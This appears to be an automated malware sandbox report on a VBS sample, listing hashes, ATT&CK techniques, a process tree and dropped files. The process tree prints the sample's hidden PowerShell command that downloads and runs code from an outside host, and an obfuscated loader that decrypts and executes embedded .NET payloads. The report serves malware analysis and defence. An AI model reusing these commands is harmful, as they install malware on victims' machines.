407ed762a35023eb5eb69738dd20a7c23ac03e187717029a0712b1826750d549

General

Target

407ed762a35023eb5eb69738dd20a7c23ac03e187717029a0712b1826750d549.vbs
Size

60KB
MD5

dcaadf5b6a871821a09e8be7f12603b0
SHA1

49c943609633112b80fe7b50c79ca6eb072eb3be
SHA256

407ed762a35023eb5eb69738dd20a7c23ac03e187717029a0712b1826750d549
SHA512

e18a9bda8f0efeb8bc490b320f86b14a7bc3fb667af4c193b9159d780aabe11da48bec08a6d605f2f08c65d661b5f8e572bf52e5fd712735196d46ea68a15db8
SSDEEP

1536:akm3NbS839HXCQHXFNx7X+xW7lflsAmPUoLlXBCbB:aLl3pCQ35+EDu3y

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1200	powershell.exe
2876	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2876	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1200	powershell.exe
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2472 wrote to memory of 1200	2472	WScript.exe	30
PID 2472 wrote to memory of 1200	2472	WScript.exe	30
PID 2472 wrote to memory of 1200	2472	WScript.exe	30
PID 2472 wrote to memory of 2684	2472	WScript.exe	33
PID 2472 wrote to memory of 2684	2472	WScript.exe	33
PID 2472 wrote to memory of 2684	2472	WScript.exe	33
PID 2684 wrote to memory of 2876	2684	cmd.exe	35
PID 2684 wrote to memory of 2876	2684	cmd.exe	35
PID 2684 wrote to memory of 2876	2684	cmd.exe	35
PID 2684 wrote to memory of 2876	2684	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\407ed762a35023eb5eb69738dd20a7c23ac03e187717029a0712b1826750d549.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DK2yqtn/8WWLFGdN0SGSXoqb0xwC458hY3mEb0Z8Op4='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Tn8+JuQ0zcIx9j+6ZeLoqQ=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
53KB

MD5
eef9239b6e6433e968d7328eb78e5aa4

SHA1
00ea660bb2189b9e43a4fa2c7f971bdee84701f3

SHA256
15587d9e6274cbe0c11a4f3c45f80d677d76b74840cbe53ee77e6387808e48c2

SHA512
8cc45b3dec7c7bf8f4c2f621bfd531a65a6e457f20a5d0bf887afc4eaa6a2364fa59de60ffdf72dc7950b7a7148261783e959d9c3cf28dcc496f1752501d828d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VDQY4BWIXEZLP0BY0J6A.temp

Filesize
7KB

MD5
76f9500e5be96ce2e237c04a7172547c

SHA1
b8b0fd312ebdd0140e7cbb13c2db64fb2bcf5fd3

SHA256
b9bf1d6522cab6c1b9644ac2f5a2c1d323d61eebd778faeb77a533f63f7f9af1

SHA512
aa3bc87ddc71dc27efca86bfa092fc2ffc985e5db5d2ab244dfb3891625c66ac823e165600593b66ed6482cec2f415f61f36cf897174a28c7e63410955387cb1

Download Submit
memory/1200-4-0x000007FEF582E000-0x000007FEF582F000-memory.dmp

Filesize
4KB

Download
memory/1200-6-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download
memory/1200-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1200-7-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1200-8-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1200-9-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1200-11-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1200-10-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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